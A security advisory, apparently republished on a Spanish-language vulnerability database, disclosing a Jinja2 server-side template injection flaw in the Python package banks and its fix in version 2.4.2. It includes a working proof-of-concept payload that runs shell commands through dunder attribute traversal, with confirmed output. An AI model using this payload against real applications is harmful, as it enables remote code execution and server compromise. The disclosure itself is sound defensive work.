banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI
Summary
banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.
This is a vulnerability in how banks initializes its Jinja2 environment — not in Jinja2 itself.
Vulnerable Code
src/banks/env.py — the global Jinja2 environment is created without sandboxing:
env = Environment(
autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
...
)
Attack Scenario
An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:
# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text() # Executes arbitrary command on the host
Proof of Concept
Setup:
pip install banks==2.4.1
PoC script:
from banks import Prompt
payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")
Confirmed output:
[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...
text
**File-write proof:**
```python
from banks import Prompt
p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}")
p.text()
ls -l /tmp/rce_banks_exec
# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec
Impact
Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.
Fix
Fixed in banks 2.4.2 (PR #74) by switching to jinja2.sandbox.SandboxedEnvironment, which blocks the dunder attribute traversal chain this exploit relies on.
Developers on banks <= 2.4.1 should upgrade to 2.4.2 and avoid passing untrusted user input as the template argument to Prompt().
Resources
- Fix: https://github.com/masci/banks/pull/74
- CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)
- CVE-2025-25362 (spacy-llm — identical root cause)
- CWE-1336: Improper Neutralization of Special Elements in a Template Engine
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | banks | < 2.4.2 | 2.4.2 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-1336- Plataforma
- Python (PyPI)
- Paquete
banks- Publicada
- 08.05.2026
- Actualizado
- 11.10.2026 14:17
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-2390 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-gphh-9q3h-jgpp - CC BY 4.0
Historial de vulnerabilidades: banks
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 4
- Primera → última
- 05.2026 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 1
- Media 3
Divulgaciones por año
- 2026: 4
-
banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.